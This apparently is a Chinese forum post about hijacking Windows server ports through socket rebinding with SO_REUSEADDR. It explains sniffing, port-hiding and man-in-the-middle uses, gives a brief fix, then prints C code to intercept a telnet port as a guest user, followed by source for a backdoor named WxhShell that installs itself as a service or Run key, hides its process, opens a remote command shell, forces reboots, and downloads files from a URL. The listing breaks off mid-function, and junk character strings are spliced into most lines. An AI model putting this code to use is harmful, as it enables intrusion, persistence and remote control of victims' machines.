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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %EPqJ(T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YQR*?/?a  
TJtW?c7  
  saddr.sin_family = AF_INET; X$JO<@x  
1{ #Xa=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @C=, >+D  
X7kJWX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v)JQb-<  
+DKrX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )!dELS \ix  
T[)) ful  
  这意味着什么?意味着可以进行如下的攻击: @"9y\1u  
[Hdk=p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 | -Di/.  
w8%yX$<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |PN-,f{-  
6\86E$f=h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rOY^w9!  
,Ucb)8a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T GMHo{ ]  
u2<:mu[|P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~E^EF{h   
@n(=#Q3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {(wV>Oc>Jw  
6@2p@eYo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z!Kadqns  
uMsKF%m  
  #include BHj]w*Ov  
  #include {yyg=AMz  
  #include w]yLdfi!  
  #include    n E-=7S L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %o4d4 3uZ  
  int main() 2|}p&~G(  
  { =< CH(4!  
  WORD wVersionRequested; >\DXA)nc  
  DWORD ret; #<'/s qL  
  WSADATA wsaData; M/V >25`  
  BOOL val; '%RMpyK~  
  SOCKADDR_IN saddr; ^ioTd  
  SOCKADDR_IN scaddr; bf;IJ|v^  
  int err; tu!u9jVv  
  SOCKET s; wuYo@DDU#  
  SOCKET sc; }Pb!u9_  
  int caddsize; l"*>>/U k  
  HANDLE mt; b}"/K$`Fd  
  DWORD tid;   #gN{8Yk>  
  wVersionRequested = MAKEWORD( 2, 2 ); R&xD|w8UjM  
  err = WSAStartup( wVersionRequested, &wsaData ); VDnAQ[T@d  
  if ( err != 0 ) { E#ys-t 42  
  printf("error!WSAStartup failed!\n"); Z<,gSut'Y  
  return -1; B8s|VI  
  } Olxb`x  
  saddr.sin_family = AF_INET; aRG[F*BY  
   P`bR;2o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  L<QDC   
/asyj="N7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +H<%)Lk J  
  saddr.sin_port = htons(23); *Mp<4B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rkm7"dO0  
  { k6Tpaf^  
  printf("error!socket failed!\n"); PPq*_Cf  
  return -1; t#pY2!/T3  
  } 3:;%@4f  
  val = TRUE; b6/:reH{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I(7gmCV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) shn-Es*  
  { +?@qu x!  
  printf("error!setsockopt failed!\n"); v<c Hx/  
  return -1; 0~S<}N  
  } j_H T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 73<iK]*c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =p7W^/c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y-{spTI  
AMm O+E?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &1u ?W%(Px  
  { Y zvtxX*  
  ret=GetLastError(); JWdG?[$  
  printf("error!bind failed!\n"); (@#Lk"B  
  return -1; +es6c')  
  } ut,"[+ J  
  listen(s,2); L%8"d6  
  while(1) plIx""a^h  
  { 'K"*4B^3  
  caddsize = sizeof(scaddr); p-6.:y  
  //接受连接请求 iLI]aZ   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  nm~  
  if(sc!=INVALID_SOCKET) J~Ph)|AiS  
  { 2bC%P})m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ge?ymaU$a  
  if(mt==NULL) KWH  
  { F>Oh)VL,Ev  
  printf("Thread Creat Failed!\n"); 0z xeA +U  
  break; puyL(ohem  
  } N}h%8\  
  } ;lEiOF+d  
  CloseHandle(mt); +]zP $5_e  
  } O^$Zz<  
  closesocket(s); l`]!)j|+  
  WSACleanup(); ~S6N'$^  
  return 0; =w8 YZs8w  
  }   R{B~Now3  
  DWORD WINAPI ClientThread(LPVOID lpParam)  M:$nL  
  { 7(;VUR%%.  
  SOCKET ss = (SOCKET)lpParam; TDGzXJf[  
  SOCKET sc; TExlGAHo+O  
  unsigned char buf[4096]; %G&v@R  
  SOCKADDR_IN saddr; F"C Yrt  
  long num; "F}Ip&]hAG  
  DWORD val; I$LO0avvH2  
  DWORD ret; $gTPW,~s[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [)pT{QA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5=986ci$U  
  saddr.sin_family = AF_INET; f+Go8Lg=M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xL"% 2nf  
  saddr.sin_port = htons(23); :<gk~3\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PsnU5f)`  
  { .#J3UZ  
  printf("error!socket failed!\n"); ( -@>  
  return -1; : eFc.>KoD  
  } H%N+V r3O,  
  val = 100; <hbbFL}|%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~4<3`l=A  
  { 6f!mk:\T.  
  ret = GetLastError(); Y c kbc6F  
  return -1; <k6xScy$}  
  } bl<7[J.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R2`g?5v  
  { r|@?v,  
  ret = GetLastError(); aO%FQ)BT  
  return -1; #O+]ydvT  
  } Gf\_WNrSE+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <UdD@(iZ#  
  { rg}kxvu  
  printf("error!socket connect failed!\n"); Uzn|)OfWP  
  closesocket(sc); JUFO.m^w  
  closesocket(ss); ~7a BeD  
  return -1; fZ fiiE~7J  
  } 5I,X#}K[  
  while(1) {B.]w9  
  { % cdP*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jt--w"|-r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ie5ijkxZ(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v6\2m c.  
  num = recv(ss,buf,4096,0); #.YcIR)  
  if(num>0) vh8Kd' y  
  send(sc,buf,num,0); 63Yu05'  
  else if(num==0) (Nb1R"J `  
  break; 4>C=:w  
  num = recv(sc,buf,4096,0); wR4u}gb#q  
  if(num>0) SVh4)}.x  
  send(ss,buf,num,0); 7=A9E]:  
  else if(num==0) RsfT Ub)<  
  break; $ _Bu,;  
  } <# r.}T.l  
  closesocket(ss); 1>x@1Mo+K  
  closesocket(sc); RmV/wY  
  return 0 ; Y'0?<_ fj  
  } ?Hxgx  
8z8SwWS?  
G0Tc}_o<Y  
========================================================== \1C!,C  
C,vc aC?  
下边附上一个代码,,WXhSHELL @SG"t,5s  
Nw& }qSN  
========================================================== |Umfq:W`y_  
Ny7=-]N4{"  
#include "stdafx.h" ~LW%lMy;^|  
LEnP"o9ZW  
#include <stdio.h> ||ZufFO  
#include <string.h> Rn_W|"  
#include <windows.h> LNxE-Dp  
#include <winsock2.h> '!h0![OH  
#include <winsvc.h> q.sQ Z]ty9  
#include <urlmon.h> vek:/'sj3p  
aC Lg~g4  
#pragma comment (lib, "Ws2_32.lib") #33RhJu5,  
#pragma comment (lib, "urlmon.lib") 4yZ+,hqJ<9  
[d~bZS|(T(  
#define MAX_USER   100 // 最大客户端连接数 9.OwH(Ax7  
#define BUF_SOCK   200 // sock buffer Il`k]XM  
#define KEY_BUFF   255 // 输入 buffer 8|qB 1fB  
q;0&idYC  
#define REBOOT     0   // 重启 4|41^B5Y  
#define SHUTDOWN   1   // 关机 7O9hn2?e  
~TFYlV  
#define DEF_PORT   5000 // 监听端口 ig _<kj;Vd  
)Z]y.W)  
#define REG_LEN     16   // 注册表键长度 :8-gm"awL5  
#define SVC_LEN     80   // NT服务名长度 l(w vQO  
h 4.=sbzZ  
// 从dll定义API $#ju?B~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ie~fQ!rf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eGSp(o56  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :Ip:sRz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CL'Xip')T  
^0tf1pV2  
// wxhshell配置信息 -0VA!3l  
struct WSCFG { -llx:  
  int ws_port;         // 监听端口 X})Imk7&E  
  char ws_passstr[REG_LEN]; // 口令 " $IXZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no YaNH.$.:  
  char ws_regname[REG_LEN]; // 注册表键名 KA-/k@1&  
  char ws_svcname[REG_LEN]; // 服务名 y-\A@jJC5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9ze|s^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mhi90Jc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lHKf#|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~@4ZV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ) {  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 24jtJC,7  
,s><kHJ  
}; E R]sDV  
Z2rzb{oS}  
// default Wxhshell configuration O%JsUKV  
struct WSCFG wscfg={DEF_PORT, =0PRAc  
    "xuhuanlingzhe", wLOQhviI^-  
    1, I& M36f  
    "Wxhshell", phgexAq  
    "Wxhshell", sP?$G8-^  
            "WxhShell Service", W[>iJJwz  
    "Wrsky Windows CmdShell Service", )v52y8G-p  
    "Please Input Your Password: ", 4j@i%  
  1, \/*Nf?;  
  "http://www.wrsky.com/wxhshell.exe", Wyq~:vU.S  
  "Wxhshell.exe" 3xzkZ8]/  
    }; k]Alp;hVd  
%h"qMs S  
// 消息定义模块 {+"g':><  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jh43)#G-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zRV!(Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nJleef9  
char *msg_ws_ext="\n\rExit."; )>y k-  
char *msg_ws_end="\n\rQuit."; f{igW?Ho  
char *msg_ws_boot="\n\rReboot..."; p`:*mf  
char *msg_ws_poff="\n\rShutdown..."; $Ei o$TI  
char *msg_ws_down="\n\rSave to "; JYwyR++uo  
>sQ2@"y)s2  
char *msg_ws_err="\n\rErr!"; JvfQib  
char *msg_ws_ok="\n\rOK!"; oe!:|ck<  
{4: -0itG  
char ExeFile[MAX_PATH]; fimb]C I|x  
int nUser = 0; ,jRcl!n`  
HANDLE handles[MAX_USER]; 3a#PA4Ql  
int OsIsNt; nw0L1TP/J  
MCk^Tp!  
SERVICE_STATUS       serviceStatus; n1*&%d'7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?h!t$QQ!M  
-]Q(~'a  
// 函数声明 6P~aW  
int Install(void); gwSN>oj &  
int Uninstall(void); /Fv/oY  
int DownloadFile(char *sURL, SOCKET wsh); 0%s3Mp6H  
int Boot(int flag); L`UG=7r q  
void HideProc(void); Q PFeBl  
int GetOsVer(void); <t{?7_ 8  
int Wxhshell(SOCKET wsl); s) Cpi  
void TalkWithClient(void *cs); JBR[; zM  
int CmdShell(SOCKET sock); EJZ@p7*Oj  
int StartFromService(void); M%$ DT  
int StartWxhshell(LPSTR lpCmdLine); ?wd|G4.Vo  
I?a8h`WS+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,AH0*L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4K9Rpm  
'aD6>8/Hj  
// 数据结构和表定义 nW4Vct  
SERVICE_TABLE_ENTRY DispatchTable[] = z,{e]MB)M  
{ u12zRdn  
{wscfg.ws_svcname, NTServiceMain}, 8RdP:*HY  
{NULL, NULL} y(bsCsV&  
}; yjEI/9_  
$ph0ag+  
// 自我安装 [kbC'Eh*  
int Install(void) -IBO5;2_  
{ x*.Ye 5Jb  
  char svExeFile[MAX_PATH]; Yd' H+r5b  
  HKEY key; ajn-KG!A  
  strcpy(svExeFile,ExeFile); }A{_L6qx  
of9q"h  
// 如果是win9x系统,修改注册表设为自启动 "7Eo>g   
if(!OsIsNt) { R? O-x9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8HMo.*Ti9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3p=vz'  
  RegCloseKey(key); rdO@X9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *FV0Vy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ll?-FZ   
  RegCloseKey(key); K~c^*;F  
  return 0; /b.$jnqL  
    } Nd`HB=ShJ  
  } R0%?:! F  
} $`|5/,M%QN  
else { -#Np7/  
I(pb-oY3!I  
// 如果是NT以上系统,安装为系统服务 jOs H2^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BBcj=]"_  
if (schSCManager!=0) '/k^C9~m r  
{ Bg-VCJI<  
  SC_HANDLE schService = CreateService #c-b}.R  
  ( MDk*j,5V  
  schSCManager, +%P t_  
  wscfg.ws_svcname, JwZ?hc  
  wscfg.ws_svcdisp, TfJL+a0  
  SERVICE_ALL_ACCESS, kLJlS,nh\r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wG+=}1X  
  SERVICE_AUTO_START, o]A XT8  
  SERVICE_ERROR_NORMAL, ;Xqn-R  
  svExeFile, d7* CwY9"  
  NULL, Yi 6Nw+$  
  NULL, Rho5s@N7  
  NULL, -Q#o)o  
  NULL, HOfF"QAR$  
  NULL qNpu}\L  
  ); N[pZIH5ho=  
  if (schService!=0) 5.w iTy  
  { lr WLN  
  CloseServiceHandle(schService); 3 4SA~5  
  CloseServiceHandle(schSCManager); [g#s&bF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sxo;/~.p  
  strcat(svExeFile,wscfg.ws_svcname); u+i(";\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lX"bN=E?!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sTkIR5Z  
  RegCloseKey(key); ;1v=||V  
  return 0; hyfR9~  
    } wxj>W[V  
  } cf)J )  
  CloseServiceHandle(schSCManager); > @+#  
} 8W;2oQN7  
} F"'n4|q4n  
ibXe"X/_  
return 1; ryg4h Hspl  
} ),=@q+{E{  
V5AW&kfd  
// 自我卸载 \^&   
int Uninstall(void) ;UrK {>B  
{ ;|<(9u`  
  HKEY key; ~Q?!W0ZBE  
CZY7S*fL  
if(!OsIsNt) { [![ G7H%f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EWA;L?g|A  
  RegDeleteValue(key,wscfg.ws_regname); J*j5#V];  
  RegCloseKey(key); =h|wwQE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K#!X><B'  
  RegDeleteValue(key,wscfg.ws_regname); DR@1z9 a  
  RegCloseKey(key); JS!*2*Wr  
  return 0; nLj&Uf&  
  } @u/H8\.l  
} yxwWj>c  
} /Wu|)tx  
else { U'y,YtF@  
:I \9YzSs@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @DuK#W"E u  
if (schSCManager!=0) 03([@d6<E  
{ mRwT_(;t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^P?vkO"pB?  
  if (schService!=0) WS:5MI,OL  
  { W`rMtzL5  
  if(DeleteService(schService)!=0) { *"cD.)]#2  
  CloseServiceHandle(schService); XKqK<!F  
  CloseServiceHandle(schSCManager); OQScW2a&  
  return 0; Q`A6(y/s?  
  } @*(4dt:V  
  CloseServiceHandle(schService); OP%?dh]  
  } ong""K4H  
  CloseServiceHandle(schSCManager); 3?.1n Gu  
} s]H^wrg&  
} xx }GOY.J  
G 4qy*.  
return 1; &Jy)U  
} /syVGmS'M  
D. Kqc  
// 从指定url下载文件 5wT>N46UX  
int DownloadFile(char *sURL, SOCKET wsh) LnFWA0y  
{ J[@um:  
  HRESULT hr; *5OCqU+g  
char seps[]= "/"; Cqx v"NN  
char *token; +@<KC  
char *file; JYm7@gx  
char myURL[MAX_PATH]; gsPl _  
char myFILE[MAX_PATH]; gg^1b77hT  
!VP %v&jKm  
strcpy(myURL,sURL); !tXZ%BP.u  
  token=strtok(myURL,seps); /(?@mnq_  
  while(token!=NULL) oY=1C}  
  { 2r&R"B1`(  
    file=token; _w(ln9   
  token=strtok(NULL,seps); xx)-d,S  
  } 33K*qaRAD  
1ibnx2^YB  
GetCurrentDirectory(MAX_PATH,myFILE); C4\,z\Q  
strcat(myFILE, "\\"); WR#0<cz(  
strcat(myFILE, file); ys'T~Cs  
  send(wsh,myFILE,strlen(myFILE),0); @hif$  
send(wsh,"...",3,0); #yW\5)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o>?*X(+le  
  if(hr==S_OK) ~@4'HMQ  
return 0; syPWs57pH  
else .lNs4e  
return 1; &aG*k*  
BqH]-'1G  
}  c</1  
qAY%nA>jO  
// 系统电源模块 2c(aO[%h9  
int Boot(int flag) Jblj^n?Bm  
{ A8DFm{})c  
  HANDLE hToken; 3y A2WW  
  TOKEN_PRIVILEGES tkp; rwE%G>Vb  
=IjQ40W  
  if(OsIsNt) { z@Hp,|Vy[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [/ M`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DmqSQA  
    tkp.PrivilegeCount = 1; hs+kr?Pg`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T vtm`Yk\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {9LWUCpsf  
if(flag==REBOOT) { l=}~v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IQH[Q9%  
  return 0; bb-qO#E  
} g(ogXA1  
else { v [njdP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +&|S'7&{  
  return 0; xV\5<7qk5g  
} $uDqqG(^  
  } TDtAmk  
  else { ]N{0:Va@D  
if(flag==REBOOT) { Anm=*;*M`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l2jF#<S@  
  return 0; ihCIh6  
} ?rYT4vi  
else { 9 QC.TG@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kA wNly  
  return 0; i38[hQR9a  
} [KJ q  
} q,>?QBct*  
YDC&u8  
return 1; ZD>a>]  
} TX [%(ft  
q MYe{{r  
// win9x进程隐藏模块 8, "yNq  
void HideProc(void) 6Jz^  
{ 9uk<&nqx  
\]4v_!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *QGm/ /b  
  if ( hKernel != NULL ) 1O/ g&u  
  { t.Nb? /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2&!bfq![  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e8=YGx^o`  
    FreeLibrary(hKernel); 790-)\:CY  
  } r|Z5Xc  
~|ss*`CT  
return; "= / f$Xf  
} _aWl]I){5  
;)AfB#:d  
// 获取操作系统版本 0\9K3  
int GetOsVer(void) o=J9  
{ ]b/S6oc6  
  OSVERSIONINFO winfo; Z3TS,a1I4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *hLQ  
  GetVersionEx(&winfo); {LHR!~d}5f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y?J"wdWJNB  
  return 1; /4\wn?f  
  else 7R4z}2F2  
  return 0; mEyK1h1G @  
} 4QOEw-~w&s  
An*~-u9m  
// 客户端句柄模块 PxS4,`#~  
int Wxhshell(SOCKET wsl) 8I;XS14Q  
{ u"1rF^j6k  
  SOCKET wsh; s*/bi W  
  struct sockaddr_in client; 7CXW#H  
  DWORD myID; C'yppl%  
nrm+z"7  
  while(nUser<MAX_USER) q#w8wH"  
{ gKz(=  
  int nSize=sizeof(client); YKmsQ(q`N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z/;Xl~  
  if(wsh==INVALID_SOCKET) return 1; XW{>-PBg:  
0& >H^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SP*fv`  
if(handles[nUser]==0) $$APgj"|<  
  closesocket(wsh); HB+|WW t>  
else EtbnE*S  
  nUser++; F!zP<A "  
  } j>uj=B@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <@wj7\pQ  
.MQ^(  
  return 0; bV8g|l-4(  
} m7EcnQf  
WQ yLf;!Lz  
// 关闭 socket gz2\H}  
void CloseIt(SOCKET wsh) y[B>~m8$  
{ m,C1J%{^  
closesocket(wsh); !q"W{P  
nUser--; jls-@Wl  
ExitThread(0); 76hOB@  
} qTZFPfyU  
Hbv6_H  
// 客户端请求句柄 `qJw|u>YpJ  
void TalkWithClient(void *cs) 3(C\.oRc  
{ lL1k.& |5m  
T\~x.aH`^  
  SOCKET wsh=(SOCKET)cs; "-@[R  
  char pwd[SVC_LEN]; ()&~@1U  
  char cmd[KEY_BUFF]; g&/T*L  
char chr[1]; 6aM*:>C"  
int i,j; jZ NOt  
PkI:*\R  
  while (nUser < MAX_USER) { )K &(  
vfVj=DYj  
if(wscfg.ws_passstr) { {G?N E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9tF9T\jW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #o1=:PQaC  
  //ZeroMemory(pwd,KEY_BUFF); %|s+jeUDn|  
      i=0; (vT+IZEI  
  while(i<SVC_LEN) { %iV^S !e  
boDt`2=  
  // 设置超时 x _c[B4Tw  
  fd_set FdRead; (5]}5W*  
  struct timeval TimeOut; <b,~:9*?  
  FD_ZERO(&FdRead); oudxm[/U  
  FD_SET(wsh,&FdRead); lNSLs"x^  
  TimeOut.tv_sec=8; ,VO2a mI  
  TimeOut.tv_usec=0; 8WnwQ%;m?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  *6q5S4 r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E>l~-PaZY  
9B;{]c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5\z `-)  
  pwd=chr[0]; SdD6 ~LS  
  if(chr[0]==0xd || chr[0]==0xa) { #%DE;  
  pwd=0; s[UHe{^T  
  break; / m=HG^!  
  } -'6Dg  
  i++; yPq'( PV  
    } AK@9?_D  
/Rl6g9}  
  // 如果是非法用户,关闭 socket 3Z1CWzq(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s{1sE)_  
} Jv^h\~*jH  
.V,@k7U,V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9T<x&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFz&N\2  
4EY)!?;  
while(1) { h $2</J"  
0Vx.nUQ  
  ZeroMemory(cmd,KEY_BUFF); a\r\PBi  
!r<pmr3f@7  
      // 自动支持客户端 telnet标准   =E.wv  
  j=0; \-g)T}g,I  
  while(j<KEY_BUFF) { WlU0:(d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VVlr*`  
  cmd[j]=chr[0]; z4N*b"QF  
  if(chr[0]==0xa || chr[0]==0xd) { kGl~GOB a  
  cmd[j]=0; .[_L=_.  
  break; Hj}K{20  
  } @{2 5xTt  
  j++; JD|=>)  
    } uA< n  
ez| )ph7  
  // 下载文件 vX.VfY  
  if(strstr(cmd,"http://")) { %KLpig  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Wdyxj Q  
  if(DownloadFile(cmd,wsh)) 7<*yS310  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=Nz }mUV  
  else ,y#Kv|R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o2F)%TDY  
  } NCDvo bYJ  
  else { {z{bY\  
yK=cZw%D  
    switch(cmd[0]) { c24dSNJg,  
  (JOgy .5C~  
  // 帮助 Tc? $>'  
  case '?': { cz8T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H:V2[y8\  
    break; JJN.ugT}1  
  } $| @ (  
  // 安装  tVN  
  case 'i': { ]Gsv0Xk1  
    if(Install()) , K~}\CR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [D I+~F  
    else  R[D{|K@"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |IzPgC  
    break; Q~#Wf ?  
    } `r9!zffyS  
  // 卸载 b0Ps5G\ u  
  case 'r': { 3EPv"f^V  
    if(Uninstall()) s;ls qQk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Qf,@^zL*  
    else s Z].8.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q' {M L4  
    break; k%WTJbuG<)  
    } UM"- nZ>[  
  // 显示 wxhshell 所在路径 -lY6|79bF  
  case 'p': { _Tm3<o.  
    char svExeFile[MAX_PATH]; KW pVw!  
    strcpy(svExeFile,"\n\r"); |ATvS2  
      strcat(svExeFile,ExeFile); 8p 'L#Q.  
        send(wsh,svExeFile,strlen(svExeFile),0); ~:s>aQ`!  
    break; 2K/4Rf0;  
    } Ga^"1TZ x  
  // 重启 ^ B fC  
  case 'b': { )q8pk2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3YOq2pW72G  
    if(Boot(REBOOT)) X^wt3<Kbf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 /g~A{  
    else { \ C+~m  
    closesocket(wsh); dO! kk"qn  
    ExitThread(0); *av<E  
    } "jKY1* ?  
    break; /NI;P]s.  
    } |4;Fd9q^m  
  // 关机 IL#"~D?  
  case 'd': { PUMXOTu]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *v^Jb/E315  
